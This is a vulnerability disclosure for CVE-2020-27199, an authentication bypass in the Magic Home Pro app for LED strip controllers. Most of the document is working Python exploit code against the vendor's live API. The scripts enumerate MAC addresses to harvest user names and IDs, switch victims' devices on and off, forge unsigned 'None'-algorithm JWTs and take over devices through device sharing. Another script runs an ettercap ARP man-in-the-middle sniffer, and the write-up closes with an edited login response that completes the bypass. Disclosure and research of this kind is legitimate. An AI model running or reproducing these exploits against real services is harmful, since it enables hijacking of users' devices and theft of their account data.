Authentication Bypass
Introduction
Our Security Research Team at [exploitsecurity.io] uncovered Multiple vulnerabilities found in the Magic Home Pro Mobile Application which is used to interface with the JadeHomic LED Strip RGB Kit. The most significant of these vulnerabilities is an Authentication Bypass (CVE-2020-27199) vulnerability, which ultimately allows for full takeover and control of a victims' entire device group.
Pre-Work to finding
Rooted Android
Root detection bypassed through patching, Re-signing of JAR and Rebuilding of APK (required)
Certificate Pinning bypass Frida to the rescue (required)
Application
Vendor of Product
WiFi Controller Product Owner
Vendor Website
Reference(s)
Description
Base URL: wifij01us.magichue.net
Enumeration
This vulnerability allows for any authenticated user to utilise their current authorization level to interrogate end points not apart of their registered products, using an API call to /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. This results in a HTTP response that indicates the existence of the endpoint and returns the Username, User Unique Identifier (userUniID) and the Binded Unique ID (bindedUniID) of the associated endpoint.
Using the above interrogation, an attacker is then able to utilise an unauthorized POST request to API /app/sendCommandBatch/ZG001, using the newly enumerated mac address to send commands to the remote endpoint using compatible hex commands 71230fa3 and 71240fa4 resulting in ON and OFF respectively.
After initial enumeration is complete, it is also possible to forge a JWT using the userID and uniID within the JWT payload data, in effect downgrading the token to use 'None' as the algorithm in the JWT header section (signature-bypass vulnerability). Using this vulnerability the application is susceptible to device takeover by an attacker through use of the remote API call to /app/shareDevice/ZG001 and utilising the friendUserID JSON parameter to add the device to the attackers device list, giving the attacker full control of the endpoint device.
Credit(s):
Additional Information
OUI
The OUI describes the Organisation Unique Identifier for MAC Addresses registered to an organisation. In the case of JadeHomic the magic OUI is C8:2E:47, where the first three bytes corresponds to the manufacturer and the second 3 bytes correspond to the serial number assigned by the manufacturer. In our case the manufacturer identifier is registered to Suzhou SmartChip Semiconductor Co., LTD.
CVE Impact Other
Allows for an the authentication bypass of the Magic Home Pro Mobile application and thus full control of a victim users' entire device group.
Attack Vectors
Authenticated user required
Succesful Enumeration of existing end system
Subsequent sending of batch commands to an remote endpoint
Device take over
Authentication Bypass
Proof of Concept (enumerator and batch command exploit)
The proof of concept enumerates on the last bytes within the MAC range and returns findings. It allows a test of the 'remote execute' if you are feeling daring.
import requests
import json
import os
from colorama import init
from colorama import Fore, Back, Style
import re
global found_macaddresses
found_macaddresses = []
global outtahere
outtahere = ""
q = "q"
global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
def Main():
urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<Valid Registered Email/Username>",
"password":"<Valid Registered Password>",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
os.system('clear')
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
print (Fore.WHITE + "[+] Enumerating ...")
macbase = "C82E475DCE"
macaddress = []
a = ["%02d" % x for x in range(100)]
for num in a:
macaddress.append(macbase+num)
with open('loot.txt', 'w') as f:
for mac in macaddress:
urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
params = {
"macAddress":mac
}
headersEnum = {
"User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Content-Type": "application/json; charset=utf-8",
"Accept": "application/json",
"token": token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
response = requests.get(urlEnum, params=params, headers=headersEnum)
resJsonEnum = response.json()
data = (resJsonEnum['data'])
if not data:
pass
elif data:
found_macaddresses.append(mac)
print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")
f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n")
else:
print (Fore.RED + "[-] No results found!")
print(Style.RESET_ALL)
if not found_macaddresses:
print (Fore.RED + "[-] No MAC addresses retrieved")
elif found_macaddresses:
attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL)
if (attackboolean.upper() == 'Y'):
target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL)
lighItUp(target, token)
elif (attackboolean.upper() == 'N'):
print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL)
else:
print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL)
if __name__ == "__main__":
Main()
Enumeration
Token Forging
Using the userID and uniqID obtained upon successful enumeration. This PoC token forger, generates a new signed bypassed JWT
#!/usr/local/bin/python3
import url64
import requests
import json
import sys
import os
from colorama import init
from colorama import Fore, Back, Style
import re
import time
from wsgiref.handlers import format_date_time
from datetime import datetime
from time import mktime
now = datetime.now()
stamp = mktime(now.timetuple())
def Usage():
print (f"Usage: {sys.argv[0]} <username> <unique id>")
def Main(user, uniqid):
os.system('clear')
print ("[+] Encoding ...")
print ("[+] Bypass header created!")
print ("HTTP/1.1 200")
print ("Server: nginx/1.10.3")
print ("Date: "+str(format_date_time(stamp))+"")
print ("Content-Type: application/json;charset=UTF-8")
print ("Connection: close\r\n\r\n")
jwt_header = '{"typ": "JsonWebToken","alg": "None"}'
jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}'
jwt_headerEncoded = url64.encode(jwt_header.strip())
jwt_dataEncoded = url64.encode(jwt_data.strip())
jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".")
print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}")
if __name__ == "__main__":
if len(sys.argv) < 3:
Usage()
else:
Main(sys.argv[1], sys.argv[2])
Device Take Over
Exploit to take over device which uses the attacker email (A registered account that will be used to takeover target account), target email (The account to be taken over), target mac address (associated to target email address) and forged token.
import url64
import requests
import json
import sys
import os
from colorama import init
from colorama import Fore, Back, Style
import re
def Usage():
print (f"Usage: {sys.argv[0]} <attacker email> <target email> <target mac address> <target forged token>")
def Main():
attacker_email = sys.argv[1]
target_email = sys.argv[2]
target_mac = sys.argv[3]
forged_token = sys.argv[4]
os.system('clear')
print (Fore.WHITE + "[+] Sending Payload ...")
url = "https://wifij01us.magichue.net/app/shareDevice/ZG001"
array = {"friendUserID":attacker_email, "macAddress":target_mac}
data = json.dumps(array)
headers = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":forged_token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL)
else:
print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL)
if __name__ == "__main__":
if len(sys.argv) < 5:
Usage()
else:
Main()
Magic Home Device Sniffer
Requirements:
ettercap
Valid User Credentials
Intention is to run this script aginst a network segment you are interested in finding susceptible devices on.
Once found run an attack using the attack menu within the script.
import socket
import struct
import platform
import os
import sys
import requests
import json
from colorama import init
from colorama import Fore, Back, Style
import re
import time, subprocess
loot = []
global choice
choice = ''
global outtahere
outtahere = ""
q = "q"
global macAddress
def scan():
with open('sniffedDevices.txt', 'a+') as f:
os.system('clear')
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL )
print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL )
print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL )
print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL )
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL )
print (Fore.WHITE + '[+] Configuring IP Forwarding'+ Style.RESET_ALL )
time.sleep(5)
print (Fore.WHITE + '[+] Setting up MiTM'+ Style.RESET_ALL )
time.sleep(2)
ipForward = subprocess.Popen('sudo echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True)
time.sleep(2)
ettercap = subprocess.Popen('sudo ettercap -T -q -i eth0 -M arp /<!--Update with valid gateway address-->// > /dev/null &', shell=True)
time.sleep(2)
print (Fore.WHITE + '[+] Searching for Magic Home Device(s)'+ Style.RESET_ALL )
itsthere = []
while (True):
conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))
try:
raw_data, addr = conn.recvfrom(65535)
dst_mac, src_mac, proto, data = ethernet_frame(raw_data)
if 'FF:FF:FF:FF:FF:FF' in dst_mac: # Suppress Broadcast traffic
pass
elif 'c8:2e:47'.upper() in src_mac:
if src_mac in loot:
pass
else:
print (Fore.WHITE + '[+] Device ' + src_mac + ' added to loot !'+ Style.RESET_ALL)
loot.append(src_mac)
f.write(src_mac + "\n")
elif 'c8:2e:47'.upper() in dst_mac:
if dst_mac in loot:
pass
else:
print (Fore.WHITE + '[+] Device ' + dst_mac + ' added to loot !'+ Style.RESET_ALL)
loot.append(dst_mac)
f.write(dst_mac + "\n")
else:
pass
except KeyboardInterrupt:
print (Fore.WHITE + "[+] Stopping MiTM"+ Style.RESET_ALL)
time.sleep(2)
subprocess.Popen.kill(ettercap)
print (Fore.WHITE + '[+] Reconfiguring IP Forwarding'+ Style.RESET_ALL)
time.sleep(2)
os.system('sudo echo 0 > /proc/sys/net/ipv4/ip_forward')
menu()
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Fore.WHITE + f"{target}" + Fore.GREEN + " Switched On" + Style.RESET_ALL)
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Fore.WHITE + f"{target}" + Fore.GREEN + " Switched Off" + Style.RESET_ALL)
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
print (outtahere.lower())
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.GREEN + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
menu()
def attack():
with open('sniffedDevices.txt', 'rb') as f:
os.system('clear')
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Attack Device : '1' |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Exit to Main Menu: '2' |"+ Style.RESET_ALL)
print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL)
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
print (Fore.WHITE + "[+] These are you available local targets:"+ Style.RESET_ALL)
alreadyDone = []
for target in f.readlines():
macAddresses = ((target).replace(b":", b""))
if macAddresses in alreadyDone:
continue
else:
alreadyDone.append(macAddresses)
print (target.replace(b":", b"").decode('utf-8').strip())
choice = int(input ("Choice: "))
if (choice == 1):
macAddress = input("[+] Enter Device MAC (xxxxxxxxxxxx): ")
urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<!--Valid Username-->",
"password":"<!--Valid Password-->",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
lighItUp(macAddress, token)
elif (choice == 2):
menu()
else:
attack()
def ethernet_frame(data):
dst_mac, src_mac, proto = struct.unpack('!6s6sH', data[:14])
return get_mac_addr(dst_mac), get_mac_addr(src_mac), socket.htons(proto), data[14:]
def get_mac_addr(bytes_addr):
bytes_str = map('{:02x}'.format, bytes_addr)
return ':'.join(bytes_str).upper()
def menu():
os.system('clear')
while (True):
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Scan : '1' |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Attack : '2' |"+ Style.RESET_ALL)
print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL)
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
try:
choice = (input ("Choice: "))
if (int(choice) == 1):
scan()
elif (int(choice) == 2):
attack()
except KeyboardInterrupt:
os.system ('sudo echo 0 > /proc/sys/net/ipv4/ip_forward')
print("\nBye bye !\n")
sys.exit()
if __name__ == '__main__':
menu()
Authentication Bypass (Magic Home Pro) (CVE-2020-27199)
Utilising the JSON token forgery coupled with the gleaned information i.e. the Victim Email, ClientID and UniqID based on the above enumeration it is possible to bypass the Mobile App authentication process through manipulating the HTTP response and thus gaining access to the Application as the victim.
Attacker uses the Magic Home Pro application utilising a victim email address, arbitrary password and clientID
The attacker can then manipulate the HTTP response using the details in step 1 which allows for the bypass to take place
Original HTTP Login Request via Magic Home Pro Mobile app
POST /app/login/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token:
Content-Type: application/json; charset=utf-8
Content-Length: 117
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
{"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"}
Original HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Thu, 08 Oct 2020 00:08:45 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 37
{"code":10033,"msg":"Password error"}
Edited HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Mon, 06 Jul 2020 12:32:02 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 907
{"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}
Comments